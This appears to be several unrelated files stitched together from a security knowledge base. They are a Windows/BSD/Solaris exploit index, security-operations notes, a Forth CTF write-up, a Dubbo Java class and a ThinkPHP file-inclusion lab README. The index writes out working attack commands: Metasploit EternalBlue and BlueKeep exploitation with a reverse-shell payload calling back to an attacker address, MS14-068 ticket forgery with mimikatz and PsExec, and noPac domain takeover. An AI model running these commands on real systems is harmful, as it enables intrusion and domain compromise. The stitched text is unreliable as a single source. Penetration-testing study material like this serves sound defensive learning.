**CVE-2016-3225 && MS16-075**
- 简介
Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。
- POC | Payload | exp
- [MS16-075](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)
**CVE-2016-7255 && MS16-135**
- 相关文章
- [CVE-2016-7255:分析挖掘Windows内核提权漏洞](https://www.anquanke.com/post/id/85232)
- POC | Payload | exp
- https://github.com/tinysec/public/tree/master/CVE-2016-7255
- https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2016-7214
**CVE-2017-0050 && MS17-017**
- POC | Payload | exp
- https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2017-0050
**schedsvc!SchRpcSetSecurity() 漏洞**
- 相关文章
- [技术讨论 | Windows全版本提权之Win10系列解析](https://www.freebuf.com/vuls/184090.html)
- POC | Payload | exp
- [alpha1ab/Win2016LPE](https://github.com/alpha1ab/Win2016LPE)
**CVE-2018-8120**
- 简介
Microsoft Windows 中存在提权漏洞,该漏洞源于 Win32k 组件没有正确的处理内存中的对象。攻击者可利用该漏洞在内核模式下以提升的权限执行任意代码。
- 影响版本
- Microsoft Windows 7 SP1
- Windows Server 2008 SP2
- Windows Server 2008 R2 SP1
- 相关文章
- [关于CVE-2018-8120的最新Windows提权漏洞分析](https://www.freebuf.com/vuls/174183.html)
- POC | Payload | exp
- [unamer/CVE-2018-8120: CVE-2018-8120 Windows LPE exploit](https://github.com/unamer/CVE-2018-8120)
- [alpha1ab/CVE-2018-8120: CVE-2018-8120 Exploit for Win2003 Win2008 WinXP Win7](https://github.com/alpha1ab/CVE-2018-8120)
**CVE-2019-0803**
- 相关文章
- [CVE-2019-0803复现调试笔记](https://bbs.pediy.com/thread-252645.htm)
- POC | Payload | exp
- [ExpLife0011/CVE-2019-0803](https://github.com/ExpLife0011/CVE-2019-0803)
- https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2019-0803
**CVE-2019-1132**
- 相关文章
- [CVE-2019-1132详细分析](https://www.freebuf.com/column/214203.html)
- POC | Payload | exp
- [Vlad-tri/CVE-2019-1132](https://github.com/Vlad-tri/CVE-2019-1132)
**CVE-2019-1215**
- 简介
Microsoft Windows 和 Microsoft Windows Server 都是美国微软(Microsoft)公司的产品。Microsoft Windows 是一套个人设备使用的操作系统。Microsoft Windows Server 是一套服务器操作系统。
Microsoft Windows 和 Microsoft Windows Server 中 ws2ifsl.sys(Winsock) 处理内存对象的方式存在提权漏洞。攻击者可借助特制的应用程序利用该漏洞以提升的权限执行代码。
- 影响版本
- Windows_10
- Windows 7 SP1
- Windows 8.1
- Windows RT 8.1
- Windows Server 2008 SP2
- Windows Server 2008 R2 SP1
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
- Windows Server 2019
- 相关文章
- [CVE-2019-1215 Analysis of a Use After Free in ws2ifsl](https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/)
- POC | Payload | exp
- [bluefrostsecurity/CVE-2019-1215](https://github.com/bluefrostsecurity/CVE-2019-1215)
**CVE-2019-1388**
- 简介
Microsoft Windows 和 Microsoft Windows Server 都是美国微软(Microsoft)公司的产品。Microsoft Windows 是一套个人设备使用的操作系统。Microsoft Windows Server 是一套服务器操作系统。Windows Certificate Dialog 是其中的一个证书操作对话框组件。
Microsoft Windows Certificate Dialog 中存在提权漏洞,该漏洞源于程序没有正确执行用户特权。攻击者可通过登录系统并借助特制的应用程序利用该漏洞获取提升的权限。
- 影响版本
- Windows_10
- Windows 7 SP1
- Windows 8.1
- Windows RT 8.1
- Windows Server 2008 SP2
- Windows Server 2008 R2 SP1
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
- Windows Server 2019
- 相关文章
- [最新Windows 7安全桌面提权漏洞风险提示与过程披露](https://mp.weixin.qq.com/s/V8GyBxda-JXyv-5D6bR36g)
- [Thanksgiving Treat: Easy-as-Pie Windows 7 Secure Desktop Escalation of Privilege](https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege)
- POC | Payload | exp
- [sv3nbeast/CVE-2019-1388](https://github.com/sv3nbeast/CVE-2019-1388) - guest→system(UAC手动提权)
**CVE-2020-0668**
- POC | Payload | exp
- [RedCursorSecurityConsulting/CVE-2020-0668](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668)
**CVE-2020-0683**
- POC | Payload | exp
- [padovah4ck/CVE-2020-0683](https://github.com/padovah4ck/CVE-2020-0683)
**CVE-2020-0787**
- 相关文章
- [Windows本地提权漏洞(CVE-2020-0787)](https://mp.weixin.qq.com/s/pnNeik9HaPqRrhPseS1IWA)
- [CVE-2020-0787-Windows本地提权漏洞分析](https://xz.aliyun.com/t/7935)
- POC | Payload | exp
- [cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION](https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)
- https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2020-0787
**CVE-2020-0796**
- POC | Payload | exp
- [danigargu/CVE-2020-0796](https://github.com/danigargu/CVE-2020-0796) - Windows SMBv3 LPE Exploit
**WerTrigger**
- POC | Payload | exp
- [sailay1996/WerTrigger](https://github.com/sailay1996/WerTrigger)
**CVE-2020-1054**
- 相关文章
- [CVE-2020-1054分析](https://www.anquanke.com/post/id/209329)
- POC | Payload | exp
- [0xeb-bp/cve-2020-1054](https://github.com/0xeb-bp/cve-2020-1054)
**CVE-2020-1066**
- POC | Payload | exp
- [cbwang505/CVE-2020-1066-EXP](https://github.com/cbwang505/CVE-2020-1066-EXP)
**CVE-2020-1170 Microsoft Windows Defender 提权漏洞**
- 相关文章
- [Windows Defender 本地提权漏洞分析(CVE-2020-1170)](https://www.anquanke.com/post/id/209032)
**CVE-2021-1727**
- POC | Payload | exp
- [klinix5/CVE-2021-1727](https://github.com/klinix5/CVE-2021-1727)
**CVE-2021-1732**
- 相关文章
- [CVE-2021-1732 for win10-1809](http://ryze-t.com/posts/2021/10/21/CVE-2021-1732-for-win10-1809.html)
- POC | Payload | exp
- [KaLendsi/CVE-2021-1732-Exploit](https://github.com/KaLendsi/CVE-2021-1732-Exploit)
**CVE-2021-33739**
- 相关文章
- [CVE-2021-33739&CVE-2021-26868 内核漏洞分析](https://www.anquanke.com/post/id/245427)
**CVE-2021-34484**
- 相关文章
- [微软权限提升漏洞补丁绕过【附Poc】](https://mp.weixin.qq.com/s/jDstmEK9jHzXSy9kcALpZA)
- POC | Payload | exp
- [klinix5/ProfSvcLPE](https://github.com/klinix5/ProfSvcLPE)
**CVE-2021-36934**
- 相关文章
- [【安全风险通告】CVE-2021-36934Windows 提权漏洞安全风险通告](https://mp.weixin.qq.com/s/i4suHWEp7vua9siUZQSMSg)
- [Windows 权限提升:HiveNightmare](https://mp.weixin.qq.com/s/HKtaJiVjjX6oAzkajUtsBQ)
- POC | Payload | exp
- [HuskyHacks/ShadowSteal](https://github.com/HuskyHacks/ShadowSteal)
- [GossiTheDog/HiveNightmare](https://github.com/GossiTheDog/HiveNightmare)
**CVE-2021-40449**
- 相关文章
- [CVE-2021-40449](http://ryze-t.com/posts/2021/12/14/CVE-2021-40449.html)
- POC | Payload | exp
- https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2021-40449
**CVE-2021-41379 && CVE-2021-43883**
- 简述
Windows Installer 存在权限提升漏洞,该漏洞利用程序通过覆盖 Microsoft Edge 提升服务(elevation_service.exe)DACL,将自身复制到 elevation_service.exe 并执行它以获得提升的权限。本地攻击者可以利用此漏洞获取 SYSTEM 权限。
- POC | Payload | exp
- [klinix5/InstallerFileTakeOver](https://github.com/klinix5/InstallerFileTakeOver)
- [jbaines-r7/shakeitoff](https://github.com/jbaines-r7/shakeitoff) - Windows MSI Installer LPE (CVE-2021-43883)
**CVE-2022-21882**
- POC | Payload | exp
- [KaLendsi/CVE-2022-21882](https://github.com/KaLendsi/CVE-2022-21882) - win32k LPE
---
### 远程漏洞
**MS08-067 & CVE-2008-4250**
- MSF 模块
```bash
use exploit/windows/smb/ms08_067_netapi
set payload windows/x64/meterpreter/reverse_tcp
set target 0
```
**MS12-020 & CVE-2012-0002**
- MSF 模块
```bash
use auxiliary/scanner/rdp/ms12_020_check
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
```
**MS14-066 & CVE-2014-6321**
- POC | Payload | exp
- [anexia-it/winshock-test](https://github.com/anexia-it/winshock-test)
**MS15-034 & CVE-2015-1635**
- POC | Payload | exp
- [MS15-034 Checker](https://pastebin.com/ypURDPc4)
- 相关文章
- [MS15-034/CVE-2015-1635 HTTP远程代码执行漏洞分析](http://blogs.360.cn/post/cve_2015_6135_http_rce_analysis.html)
- MSF 模块
```bash
use auxiliary/scanner/http/ms15_034_http_sys_memory_dump # 读取服务器内存数据
use auxiliary/dos/http/ms15_034_ulonglongadd # 进行 dos 攻击
```
**CVE-2017-0143 - CVE-2017-0148 && MS17-010**
- MSF 模块
```bash
# 发现,检测
use auxiliary/scanner/smb/smb_ms17_010
set rhosts [ip]
run
# 命令执行,不回弹
use auxiliary/admin/smb/ms17_010_command
set command whoami
# 使用 payload 连上去
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set lhost [ip] # 设置回弹地址
set rhosts [ip]
run
# msf 下加载 mimikatz 模块
load mimikatz
kerberos
```
- 修复工具
- ["永恒之蓝"勒索蠕虫漏洞修复工具](https://www.qianxin.com/other/wannacryfix)
**bluekeep & CVE-2019-0708**
- 相关文章
- [RDP Stands for "Really DO Patch!" - Understanding the Wormable RDP Vulnerability CVE-2019-0708](https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/)
- [worawit/CVE-2019-0708](https://github.com/worawit/CVE-2019-0708/blob/master/NOTE.md)
- POC | Payload | exp
- [zerosum0x0/CVE-2019-0708](https://github.com/zerosum0x0/CVE-2019-0708)
- [robertdavidgraham/rdpscan](https://github.com/robertdavidgraham/rdpscan)
- [Ekultek/BlueKeep](https://github.com/Ekultek/BlueKeep)
- [mekhalleh/cve-2019-0708](https://github.com/mekhalleh/cve-2019-0708) (实测、蓝屏)
- [Cyb0r9/ispy](https://github.com/Cyb0r9/ispy)
- [k8gege/CVE-2019-0708](https://github.com/k8gege/CVE-2019-0708) - 批量检测工具
- [cbwang505/CVE-2019-0708-EXP-Windows](https://github.com/cbwang505/CVE-2019-0708-EXP-Windows) - Windows版单文件exe版
- [nccgroup/BKScan](https://github.com/nccgroup/BKScan)
- 修复工具
- ["CVE-2019-0708"漏洞检测修复工具](https://www.qianxin.com/other/CVE-2019-0708)
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
- MSF 模块
```bash
# 发现,检测
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set rhosts [ip]
run
```
```bash
# 利用
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set target [1-7]
set rhosts [ip]
show options
exploit
shell
python
```
**SMBGhost && CVE-2020-0796 微软 SMBv3 协议远程代码执行漏洞**
- 简介
2020年3月11日,思科 Talos 发布了一个威胁等级被标记为 Critical 的 SMB 服务远程代码执行漏洞(CVE-2020-0796)综述,攻击者可以利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。
本次漏洞存在于微软 SMBv3.0 协议中,该漏洞是由 SMBv3 处理恶意压缩数据包时进入错误流程造成的。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
- 相关文章
- [Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
- [漏洞复现|CVE-2020-0796(SMBv3远程代码执行)漏洞复现](https://mp.weixin.qq.com/s/EthmhuRDD5esScGcnHN_UA)
- [漏洞复现|CVE-2020-0796(永恒之黑)](https://mp.weixin.qq.com/s/mRHiIyPC4xQdOAsMjtWxrg)
- POC | Payload | exp
- [ollypwn/SMBGhost](https://github.com/ollypwn/SMBGhost)
- [chompie1337/SMBGhost_RCE_PoC](https://github.com/chompie1337/SMBGhost_RCE_PoC) - 远程利用代码
- [eerykitty/CVE-2020-0796-PoC](https://github.com/eerykitty/CVE-2020-0796-PoC) - 蓝屏 POC
- [danigargu/CVE-2020-0796](https://github.com/danigargu/CVE-2020-0796) - 本地提权 POC
- [CVE-2020-0796:微软 SMBv3 协议RCE复现](https://mp.weixin.qq.com/s/hRGai3yyogNVpU1QwhcbfQ)
- 修复工具
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
**CVE-2020-1350**
- 相关文章
- [SIGRed - Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers](https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/)
- [CVE-2020-1350漏洞深入剖析](https://bbs.pediy.com/thread-260712.htm?from=groupmessage)
- POC | Payload | exp
- [maxpl0it/CVE-2020-1350-DoS](https://github.com/maxpl0it/CVE-2020-1350-DoS)
- [chompie1337/SIGRed_RCE_PoC](https://github.com/chompie1337/SIGRed_RCE_PoC)
**CVE-2020-16898**
- 相关文章
- [CVE-2020-16898 Windows tcp/ip远程代码执行漏洞复现](https://mp.weixin.qq.com/s/Z8fSNueOWutMzIV56iUarw)
- [CVE-2020-16898:Windows TCP/IP远程代码执行复现](https://mp.weixin.qq.com/s/RTdkBbXWdzIBFpExZszQkg)
**CVE-2021-31166**
- 相关文章
- [漏洞描述|CVE-2021-31166 POC](https://mp.weixin.qq.com/s/YdBjOsXhYcPbF_jMuTl2Xg)
- POC | Payload | exp
- [0vercl0k/CVE-2021-31166](https://github.com/0vercl0k/CVE-2021-31166) - Proof of concept for CVE-2021-31166, a remote HTTP.sys use-after-free triggered remotely.
**CVE-2022-21907**
- POC | Payload | exp
- [p0dalirius/CVE-2022-21907-http.sys](https://github.com/p0dalirius/CVE-2022-21907-http.sys)
---
### 域
**Windows Access Token 令牌假冒**
当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除。
可以使用多种工具查看目前系统上存在的模拟令牌:
- Incognito
- Powershell - Invoke-TokenManipulation.ps1
- Cobalt Strike - steal_token
- MSF Moudle
```
getsystem
load incognito meterpreter > list_tokens -u
impersonate_token "PAYLOADS\\Administrator”
```
**MS14-025**
- 相关文章
- [Exploiting "Group Policy Preferences" AKA MS14-025 in windows environment to gain Admin user password.](https://github.com/incredibleindishell/Windows-AD-environment-related/blob/master/Exploiting-GPP-AKA-MS14_025-vulnerability/README.md)
- [Hack The Box - Active](https://www.jaiminton.com/HTB/Active/)
- [MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege: May 13, 2014](https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati)
**MS14-068 & CVE-2014-6324**
- 简介
ms14-068 漏洞是 KDC 服务中的 Windows 漏洞,是由 PAC 认证错误引起,导致域内普通用户可以在 Kerberos TGT 中加入伪造的凭据,从域用户提升到域管理员权限。在执行 ms14-068 漏洞之前,需要通过 systeminfo 看目标机器是否打补丁 kb3011780,如果没打就可以尝试使用该方法进行域提权。
- 影响版本
- Windows 7 SP1
- Windows 8.1
- Windows RT 8.1
- windows vista
- Windows Server 2003 SP2
- Windows Server 2008 SP2
- Windows Server 2008 R2 SP1
- Windows Server 2012
- Windows Server 2012 R2
- 相关文章
- [MS14-068域权限提升漏洞总结](https://xz.aliyun.com/t/218)
- POC | Payload | exp
- [windows-kernel-exploits/MS14-068/](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068)
- [abatchy17/WindowsExploits/blob/master/MS14-068/MS14-068.exe](https://github.com/abatchy17/WindowsExploits/blob/master/MS14-068/MS14-068.exe)
登录普通域用户 whoami/user 获取 sid
退出域用户,登录本地用户
```bash
MS14-068.exe -u test@test.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.1.1 -p Admin123
# -u 域账号+@+域名称
# -s 为 ts1 的 SID 值,可以通过 whoami/all 来获取用户的 SID 值
# -d 为当前域的域控
# -p 为当前用户的密码,即 ts1 的密码
```
接下来将导出生成一张 kerberos 票据,配合 mimikatz 的 ptt 功能,将票据导入到内存中
使用 mimikatz 将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
```bash
kerberos::purge # 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list # 查看当前机器凭证
kerberos::ptc [ccachefile] # 将票据注入到内存中
可以使用 net use \\域控名\C$ 尝试访问域控
也能执行 psexec
PsExec64.exe -accepteula \\域控名 -s cmd /c "whoami /all"
```
**CVE-2019-1040 Windows NTLM 篡改漏洞**
- 简介
使用中继的 LDAP 身份验证,为攻击者帐户授予 DCSync 权限。攻击者帐户使用 DCSync 转储 AD 中的所有密码哈希值。
也可以将目标服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。攻击者作为受害者服务器上的任何用户进行身份验证。
- 相关文章
- [结合CVE-2019-1040漏洞的两种域提权深度利用分析](https://www.freebuf.com/vuls/207399.html)
- [Cve 2019 1040 Intranet Killer](https://syst1m.com/post/cve-2019-1040-intranet-killer/)
- POC | Payload | exp
- [Ridter/CVE-2019-1040: CVE-2019-1040 with Exchange](https://github.com/Ridter/CVE-2019-1040)
- [fox-it/cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner)
- [Ridter/CVE-2019-1040-dcpwn](https://github.com/Ridter/CVE-2019-1040-dcpwn)
- [QAX-A-Team/dcpwn](https://github.com/QAX-A-Team/dcpwn)
**CVE-2020-1472 zerologon**
- 相关文章
- [Netlogon域控提权(CVE-2020-1472)](https://mp.weixin.qq.com/s/eDbZZFflb0_8ZYhQcudJXg)
- [CVE-2020-1472 windows域控提权 zerologon从搭建到复现](https://mp.weixin.qq.com/s/G_umJghOS4DXBNEhkDYeWg)
- [Hijacking a Domain Controller with Netlogon RPC (aka Zerologon: CVE-2020-1472) | Trustwave](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hijacking-a-domain-controller-with-netlogon-rpc-aka-zerologon-cve-2020-1472/)
- [林级域环境下复现 CVE-2020-1472](https://0x20h.com/p/9b5.html#%E7%8E%AF%E5%A2%83)
- [CVE-2020-1472域内提权漏洞利用](https://mp.weixin.qq.com/s/udhDpRK7xNc06cjyY1Xhpw)
- [ZeroLogon(CVE-2020-1472) 分析与狩猎](https://mp.weixin.qq.com/s/Z0aXYBJiJnIkcr12A_jeuQ)
- [White Paper: Understanding and Exploiting Zerologon](https://sidb.in/posts/zerologon/)
- 影响版本
- Windows Server 2008
- Windows Server 2012
- Windows Server 2016
- Windows Server 2019
- POC | Payload | exp
- [SecuraBV/CVE-2020-1472](https://github.com/SecuraBV/CVE-2020-1472) - 漏洞检测
- [dirkjanm/CVE-2020-1472](https://github.com/dirkjanm/CVE-2020-1472) - 漏洞利用\环境恢复
- [VoidSec/CVE-2020-1472](https://github.com/VoidSec/CVE-2020-1472)
- [mimikatz](../../安全工具/mimikatz.md#zerologon)
**CVE-2021-1675 && CVE-2021-34527**
- 描述
利用该漏洞,攻击者可以使用一个低权限用户(包括匿名共享 guest 账户),对本地网络中的电脑发起攻击,控制存在漏洞的电脑。尤其在企业内部,在域环境中,普通域用户,可以通过该服务,攻击域控服务器,从而控制整个网络。
- 相关文章
- [CVE-2021-1675](https://mp.weixin.qq.com/s/V0acZgnqXS4NYAVdO2m3Cg)
- [Windows Print Spooler服务最新漏洞CVE-2021-34527详细分析](https://mp.weixin.qq.com/s/8qDQUu6FNpNjX1tY1KrAoQ)
- [CVE-2021-1675 漏洞复现](https://mp.weixin.qq.com/s/mdEMyl_w2pEfvDhKDQi99A)
- POC | Payload | exp
- [cube0x0/CVE-2021-1675](https://github.com/cube0x0/CVE-2021-1675)
- [afwu/PrintNightmare](https://github.com/afwu/PrintNightmare)
- [hlldz/CVE-2021-1675-LPE](https://github.com/hlldz/CVE-2021-1675-LPE)
- [3gstudent/Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer) - 启匿名 smb
- [mstxq17/CVE-2021-1675_RDL_LPE](https://github.com/mstxq17/CVE-2021-1675_RDL_LPE) - cs插件
**NoPac && CVE-2021-42287 && CVE-2021-42278**
- 相关文章
- [CVE-2021-42287/CVE-2021-42278 Weaponisation](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html)
- [CVE-2021-42287/CVE-2021-42278 域内翻身做主人](https://mp.weixin.qq.com/s/Z3mI5eEc8-iudqdU7EZ3EQ)
- [CVE-2021-42287复现](https://mp.weixin.qq.com/s/OI9XiUGe4-1exmFOkV9ZVQ)
- [「域渗透」NoPac在MAQ=0时的利用](https://mp.weixin.qq.com/s/CWWu0Fs6p2GOyUstdymLrg)
- POC | Payload | exp
- [cube0x0/noPac](https://github.com/cube0x0/noPac)
```
# 扫描探测
.\noPac.exe scan -domain test.local -user test -pass 'Abcd1234!@'
# 直接利用
.\noPac.exe -domain test.local -user test -pass 'Abcd1234!@' /dc dc.test.local /mAccount test123 /mPassword passW0rd /service cifs /ptt
```
- [WazeHell/sam-the-admin](https://github.com/WazeHell/sam-the-admin)
---
### 其他
**CVE-2018-8420 Msxml 解析器的远程代码执行漏洞**
- POC | Payload | exp
- [Lz1y/CVE-2018-8420](https://github.com/Lz1y/CVE-2018-8420)
**CVE-2020-0601**
- POC | Payload | exp
- [ollypwn/CVE-2020-0601](https://github.com/ollypwn/CVE-2020-0601)
- [kudelskisecurity/chainoffools](https://github.com/kudelskisecurity/chainoffools)
#### 物理接触
**CVE-2020-1398**
- 相关文章
- [BitLocker Lockscreen bypass](https://secret.club/2021/01/15/bitlocker-bypass.html) - 通过粘贴键+讲述人 bypass windows bitlocker锁屏
#### DOS
**condrv.sys内存损坏漏洞**
- 相关文章
- [【更新】深信服EDR快速响应支持防护Windows condrv.sys内存损坏漏洞](https://mp.weixin.qq.com/s/QhGYn6wPquSY6obvjgt8VQ)
- [Windows 10 bug crashes your PC when you access this location](https://www.bleepingcomputer.com/news/security/windows-10-bug-crashes-your-pc-when-you-access-this-location/)
**CVE-2020-16899**
- 相关文章
- [CVE-2020-16899: Windows TCP/IP拒绝服务漏洞](https://mp.weixin.qq.com/s/gcQZCfO7EI4hKTdXboPTnA)
**CVE-2021-24086**
- POC | Payload | exp
- [0vercl0k/CVE-2021-24086](https://github.com/0vercl0k/CVE-2021-24086)
---
## FreeBSD
**CVE-2013-2171**
- POC | Payload | exp
- [FreeBSD 9.0 < 9.1 - 'mmap/ptrace' Local Privilege Escalation - FreeBSD local Exploit](https://www.exploit-db.com/exploits/26368)
---
## OpenBSD
**CVE-2019-19726 OpenBSD 提权**
- 简介
OpenBSD 是加拿大 OpenBSD 项目组的一套跨平台的、基于 BSD 的类 UNIX 操作系统。
OpenBSD 6.6 及之前版本中存在安全漏洞。本地攻击者可利用该漏洞将权限提升至 root,进而以该权限执行自己的库代码。
- 影响版本
- Openbsd:Openbsd:-:*:*:*
- Openbsd:Openbsd:2.0:*:*:*
- Openbsd:Openbsd:2.1:*:*:*
- Openbsd:Openbsd:2.2:*:*:*
- Openbsd:Openbsd:2.3:*:*:*
- POC | Payload | exp
- [Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)](https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt)
---
## Solaris
**CVE-2020-14724**
- POC | Payload | exp
- http://www.vapidlabs.com/advisory.php?v=212
- https://github.com/lcashdol/Exploits/tree/master/ddu-exploit
**CVE-2020-14871**
- 简介
2018 年底,FireEye 子公司 Mandiant 的 FLARE AdvancedPractices 团队,在追踪 UNC1945 团体的活动时发现该团体在一台 Oracle Solaris 操作系统上安装了一个被称为 SLAPSTICK 的后门,用以捕获连接详细信息和身份凭证。转眼间到了 2020 年中旬,Mandiant 观察到 UNC1945 团体在 Oracle Solaris9 服务器上部署了称为 EVILSUN 的远程利用工具。[2] 通过分析发现该工具利用 Oracle Solaris Pluggable Authentication Module (可插拔身份验证模块,简称 PAM) 的基于堆栈的缓冲区溢出漏洞获取最高系统权限。FLARE 小组的进攻性特遣队(OffensiveTask Force)分析了此漏洞以确定其工作方式,并在不同版本的 Solaris 系统上重现了漏洞,然后将其报告给 Oracle。
- 相关文章
- [Live off the Land? How About Bringing Your Own Island? An Overview of UNC1945](https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html)
- [一个被忽视的满分好洞-Solaris SSHD Remote Root Exploit](https://mp.weixin.qq.com/s/K-CYzhuo4n76WBerkEWQ_w)
- MSF 模块
```bash
solaris/ssh/pam_username_bof
```
|
sec-knowleage
|
# 安全运营做什么
关于安全运营做些什么的简单整理,以前做的笔记,后续要完善一下。
## 5大质问
- 什么人在攻击我们?
- 哪些资产正在遭受攻击?
- 攻击有什么趋势?
- 主要的攻击手法有哪些?
- 我们最大的风险点在哪里?
安全运营的日常就是**对海量告警去粗取精的“萃取”**的过程。
## 如何萃取安全数据
Event-Alert-Threat-Incident

## 从Event到Incident处理流程

- 告警生成
- 归一化,聚类分析
- 规则特征
- 算法模型
- 威胁情报
- 威胁生成
- 合并压缩
- 丰富化
- 误报筛选
- 置信度(置信区间展现的是这个参数的真实值有一定概率落在测量结果的周围的程度)
- 威胁累积

- 场景汇聚
- 态势感知与响应业务场景
- 资产评分

- 威胁评分

- 威胁运营
- 安全事件
#### 实际案例

## 从安全事件分析角度
安全数据分析、安全事件分析是安全运营的一个核心模块,是一种服务、支持的能力。安全运营本身是为安全事件分析提供支撑,连接威胁狩猎(如果有的话)和应急响应中心,相当于企业安全“部队”中的指挥部。
安全运营为安全事件分析提供支撑,是整体网络安全保障。包括:
- 网络安全规划
- 资产梳理
- 安全设备管理
- 渗透测试
- 漏洞扫描
- 威胁监控
- 安全事件分析
- 应急响应
- 风险评估等过程、服务
覆盖到网络安全的各项工作,但是每一项服务又不是单独存在的个体,而是相互关联、重叠、交互,形成网络安全生态体系。[1]
简单来说,安全运营是企业安全的中枢,负责许多事务的处理,但不是每个方面都直接执行。比如上述讲到的应急响应、漏洞扫描、渗透测试,可能归属于事件响应部门(Incident Response),风险评估和处置可能归属于风控部门(Risk Management)等。

图:安全运营涉及到的工作
|
sec-knowleage
|
##Forth (Pwn, 150p)
> Connect to 136.243.194.49:1024 and get a shell.
###PL
[ENG](#eng-version)
Łącząc się z podanym serwerem dostajemy taką odpowiedź:
> yForth? v0.2 Copyright (C) 2012 Luca Padovani
> This program comes with ABSOLUTELY NO WARRANTY.
> This is free software, and you are welcome to redistribute it under certain conditions; see LICENSE for details.
Forth pozwala nam na wykonanie systemowych komand za pomocą `s" komenda" system` (spacja przed komendą jest ważna)
Spróbujmy zatem wyświetlić zawartość aktualnego katalogu:
>s" ls" system
>flag.txt README.gpl run.sh yforth
>ok
Zobaczmy co się znajduje w pliku flag.txt:
>s" cat flag.txt" system
>32C3_a8cfc6174adcb39b8d6dc361e888f17b
>ok
Zadanie gotowe!
###ENG version
When connected to the server we get the following response:
> yForth? v0.2 Copyright (C) 2012 Luca Padovani
> This program comes with ABSOLUTELY NO WARRANTY.
> This is free software, and you are welcome to redistribute it under certain conditions; see LICENSE for details.
Forth allows system calls by calling `s" command" system` (notice the space before command)
Let's view the insides of our current folder then:
>s" ls" system
>flag.txt README.gpl run.sh yforth
>ok
How about reading the flag.txt file?
>s" cat flag.txt" system
>32C3_a8cfc6174adcb39b8d6dc361e888f17b
>ok
Challange complete!
|
sec-knowleage
|
package org.vulhub;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.util.concurrent.CountDownLatch;
public class HttpProvider {
public static void main(String []args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-provider.xml");
context.start();
System.out.println("dubbo service started");
new CountDownLatch(1).await();
}
}
|
sec-knowleage
|
# ThinkPHP 多语言本地文件包含漏洞
ThinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用`lang`参数来包含任意PHP文件。
虽然只能包含本地PHP文件,但在开启了`register_argc_argv`且安装了pcel/pear的环境下,可以包含`/usr/local/lib/php/pearcmd.php`并写入任意文件。
参考链接:
- <https://tttang.com/archive/1865/>
- <https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp> (本文介绍了`pearcmd.php`利用技巧的原理)
## 漏洞环境
执行如下命令启动一个使用ThinkPHP 6.0.12版本开发的Web应用:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可查看到ThinkPHP默认的欢迎页面。
## 漏洞利用
首先,ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含`public/index.php`文件来确认文件包含漏洞是否存在:

如果漏洞存在,则服务器会出错,返回500页面。
文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:
1. PHP环境开启了`register_argc_argv`
2. PHP环境安装了pcel/pear
